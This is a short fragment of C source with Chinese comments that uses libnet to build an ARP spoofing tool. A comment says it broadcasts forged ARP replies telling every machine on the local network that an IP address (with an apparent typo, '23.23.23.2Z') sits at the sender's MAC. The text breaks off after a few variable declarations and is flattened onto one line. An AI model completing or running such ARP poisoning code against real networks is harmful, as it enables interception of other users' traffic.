//编译方式gcc arp.c -lnet //arp.c #include <stdio.h>#include <libnet.h>#define MAC_ADDR_LEN 6#define IP_ADDR_LEN 4//向同一网络内所有机器发送ARP REPLY包,告诉他们,23.23.23.2Z在00:df:17:17:17:f2那里int main(int argc, char *argv[]){ libnet_t *l = NULL; // libnet context char *device = "eth0"; char err_buf[LIBNET_ERRBUF_SIZE]; libnet_ptag_t p_tag; unsigned char src_mac[MAC_ADDR_LEN]//自己机器的MAC地址 = { 0x00, 0xdf, 0x17, 0x17, 0x17, 0xf2}; unsigned char dest_mac[MAC_ADDR_LEN] <